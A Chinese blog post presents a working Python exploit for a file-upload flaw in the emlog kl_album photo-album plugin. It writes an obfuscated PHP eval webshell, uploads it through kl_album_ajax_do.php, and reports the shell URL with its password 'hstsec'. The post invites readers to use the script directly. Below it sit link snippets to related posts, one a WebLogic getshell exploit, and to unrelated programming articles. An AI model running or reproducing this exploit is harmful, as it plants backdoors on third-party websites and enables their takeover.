[python]emlog相册插件getshell exploit
昨天本站转载了emlog相册插件的漏洞分析文章,当然也有html版的getshell代码,喜欢的同学们可以直接用昨天文章中分享的代码。为了练习python,小弟用python又重写了一次,喜欢的同学们也一起研究一下吧。其实也比较简单。
python版源代码:
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf_8 -*- # Date: 2015/4/30 # Created by 独自等待 # 博客 http://www.waitalone.cn/ import sys, os, re, time try: import requests except ImportError: raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!') def usage(): # os.system(['clear', 'cls'][os.name == 'nt']) print '+' + '-' * 60 + '+' print '\t Python emlog相册插件getshell exploit' print '\t Blog:http://www.waitalone.cn/' print '\t\t Code BY: 独自等待' print '\t\t Time:2015-04-30' print '+' + '-' * 60 + '+' if len(sys.argv) != 2: print '用法: ' + os.path.basename(sys.argv[0]) + ' EMLOG 网站地址' print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/' sys.exit() def getshell(url): ''' emlog相册插件上传getshell函数 :param url: emlog url地址 :return: 返回得到的shell地址 ''' up_url = url + 'content/plugins/kl_album/kl_album_ajax_do.php' shell = "<?php @preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'($_POST[\"hstsec\"])','a');?>" filename = "oneok'.php" with open(filename, 'wb') as shellok: shellok.write(shell) files = { 'Filedata': (filename, open(filename, 'rb'), 'text/json'), 'album': (None, 'waitalone.cn') } try: up_res = requests.post(up_url, files=files).content shellok = re.findall(re.compile(r'(?<=\.\./).+?(?=\',)'), up_res) except Exception, msg: print '\n[x] 发生错误了,卧槽!!!:', msg else: if shellok: return url + shellok[0] if __name__ == '__main__': usage() start = time.time() url = sys.argv[1] if url[-1] != '/': url += '/' ok = getshell(url) try: os.remove('oneok\'.php') except Exception: print '\n[x] 删除临时文件失败,请手工删除!' if ok: print '\n[!] 爷,人品暴发了,成功得到Shell:\n\n%s 密码:%s' % (ok, 'hstsec') else: print '\n[x] 报告大爷,本站不存在此漏洞!' print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!' |
使用效果如下图:
[python]emlog相册插件getshell exploit的更多相关文章
- [EXP]CVE-2018-2628 Weblogic GetShell Exploit
漏洞简介 漏洞威胁:RCE--远程代码执行 漏洞组件:weblogic 影响版本:10.3.6.0.12.1.3.0.12.2.1.2.12.2.1.3 代码: # -*- coding: utf-8 ...
- 轻量的、可自定义 CSS 的 Lightbox 相册插件
jQuery LightGallery是一个轻量级的,可定制的,模块化的,响应式的 jQuery 相册插件.它采用 CSS 来实现图像和视频的大小调整.因此,这将是非常灵活的,并且比使用 JavaSc ...
- Jquery相册插件(开源下载)
一,导言 上次 “不定义JQuery插件,不要说会JQuery” 的博客写的肤浅,漏洞百出,而且最重要的是从理论上说如何定义一个jQuery插件,没有实质性的写一个jQuery插件出来,这未免是纸上谈 ...
- S Gallery – 很有特色的响应式 jQuery 相册插件
S Gallery 是一款响应式的 jQuery 相册插件.使用了 HTML5 全屏 API 以及 CSS3 动画 和 CSS3 转换,所以只能在支持这些功能的浏览器中使用. 这款插件它有一个特色功能 ...
- ZOOM - 简单易用的 jQuery 照片相册插件
jQuery 最令人印象深刻的应用之一就是对图片的处理,它可以让帮助你在你的项目中加入一些让人惊叹的图片切换效果.ZOOM 是一款全屏效果的 jQuery 图片切换展示插件,支持键盘前后按键切换,支持 ...
- python开发vim插件
[python开发vim插件] 按如下方式使用python开发vim插件,注意调用时使用的是exec. 但在函数中嵌入python代码更为简便,如下: python如何传递参数给python: 代码头 ...
- 使用python制作ArcGIS插件(5)其他技巧
使用python制作ArcGIS插件(5)其他技巧 by 李远祥 使用python做插件开发,除了了解ArcToolBox工具之外,还需要在了解ArcPy的相关函数和接口.只有掌握了这些,才可以顺利的 ...
- 使用python制作ArcGIS插件(4)界面交互
使用python制作ArcGIS插件(4)界面交互 by 李远祥 插件界面部分,除了一开始在设计器中设计的这些界面元素之外,还可以与操作系统进行一些输入输出的交互,这部分的实现全部在pythonadd ...
- 使用python制作ArcGIS插件(3)ArcPy的使用说明
使用python制作ArcGIS插件(3)ArcPy的使用说明 by 李远祥 ArcPy 是一个以成功的 arcgisscripting 模块为基础并继承了 arcgisscripting 功能进而构 ...
随机推荐
- 【ExtJS】contentEl的使用
contentEl 指定一个已存在的HTML元素, 或者一个已存在HTML元素的 id , 它们将被用作当前组件的内容. 此配置选项被用来将一个已存在的HTML元素 插入到一个新组件(在组件渲染之后它 ...
- CentOS 7下使用yum安装MySQL5.7
1.卸载 1.1先停掉mysql进程,没有安装过的可以直接跳过 pkill - mysqld rpm -qa|grep -i mysql 1.2用命令 yum -y remove -.el7.x86_ ...
- Java代码在本地运行没有问题。上传到阿里云服务器后。出现了中文乱码解决
java -Dfile.encoding=UTF-8 -jar project.jar
- bzoj 4540: [Hnoi2016]序列
Description 给定长度为n的序列:a1,a2,-,an,记为a[1:n].类似地,a[l:r](1≤l≤r≤N)是指序列:al,al+1,-,ar- 1,ar.若1≤l≤s≤t≤r≤n,则称 ...
- [转]用Excel制作甘特图并管理项目
对于比较简单的项目管理,或绘制甘特图,选用电子表格工具——比如价格高也最强大的Excel.开源的OpenOffice.免费的WPS——可能比项目管理软件更方便. 1. XL-Easy Gantt 模板 ...
- net core 发布到服务器的方式
---恢复内容开始(15:05:15)--- using (var scope = ServiceProvider.CreateScope()){ var aSubscriber = Activato ...
- access 2010
access 2010(表4.1---4.5) 数据表视图创建表:创建----改ID一行的内容(字段----格式----数据类型----格式----字段大小)----完成. 设计视图创建表:创建--- ...
- 获取路径path
request 的常用方法 request.getSchema() 返回当前页面使用的协议,http 或是 https; request.getServerName() 返回当前页面所在的服务器的名字 ...
- thinkphp session设置
<?php namespace Home\Controller; use think\Controller; /*登录*/ class LoginController extends Publi ...
- laravel5.7 表单验证
laravel5.7 表单验证 一.创建表单请求 1.找到 larave5.7 文档 验证 中的创建表单请求,这里就要用到命令:php artisan make:request BrandReques ...